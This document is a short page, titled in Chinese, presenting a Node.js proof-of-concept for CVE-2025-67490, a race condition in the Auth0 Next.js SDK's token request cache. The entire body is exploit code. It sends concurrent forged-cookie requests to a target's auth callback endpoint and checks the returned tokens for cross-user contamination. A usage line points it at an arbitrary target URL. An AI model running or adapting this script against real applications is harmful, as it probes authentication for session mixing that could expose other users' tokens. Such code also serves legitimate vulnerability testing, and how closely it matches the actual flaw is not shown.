CVE-2025-67490 Auth0 Next.js SDK TokenRequestCache竞态条件漏洞

// CVE-2025-67490 PoC - TokenRequestCache Race Condition // This PoC demonstrates the concurrent request vulnerability in Auth0 Next.js SDK const fetch = require('node-fetch'); async function exploitCVE202567490(baseUrl) { console.log('[+] Starting CVE-2025-67490 exploitation test'); console.log('[+] Target:', baseUrl); console.log('[+] Vulnerability: TokenRequestCache race condition'); // Create multiple concurrent requests to trigger cache collision const concurrentRequests = 10; const requests = []; for (let i = 0; i < concurrentRequests; i++) { requests.push( fetch(`${baseUrl}/api/auth/callback`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': `auth0=${generateMockToken(i)}` }, body: JSON.stringify({ callbackUrl: `/user/profile?session=${i}`, state: `state_${i}_${Date.now()}` }) }) ); } // Execute all requests simultaneously console.log(`[+] Sending ${concurrentRequests} concurrent authentication requests...`); const responses = await Promise.all(requests); // Analyze responses for cache contamination const tokens = responses.map((res, idx) => ({ requestId: idx, status: res.status, token: res.headers.get('X-Auth-Token') })); console.log('\n[+] Response Analysis:'); tokens.forEach(t => { console.log(` Request ${t.requestId}: Status ${t.status}, Token: ${t.token}`); }); // Check for token contamination const uniqueTokens = new Set(tokens.map(t => t.token)); if (uniqueTokens.size < concurrentRequests) { console.log('\n[!] VULNERABLE: Cache contamination detected!'); console.log(`[!] Expected ${concurrentRequests} unique tokens, got ${uniqueTokens.size}`); return true; } console.log('\n[+] No cache contamination detected'); return false; } function generateMockToken(userId) { return Buffer.from(JSON.stringify({ sub: `user_${userId}`, aud: 'test-app', iat: Math.floor(Date.now() / 1000), exp: Math.floor(Date.now() / 1000) + 3600 })).toString('base64'); } // Usage: node poc.js https://vulnerable-app.example.com const targetUrl = process.argv[2] || 'http://localhost:3000'; exploitCVE202567490(targetUrl).catch(console.error);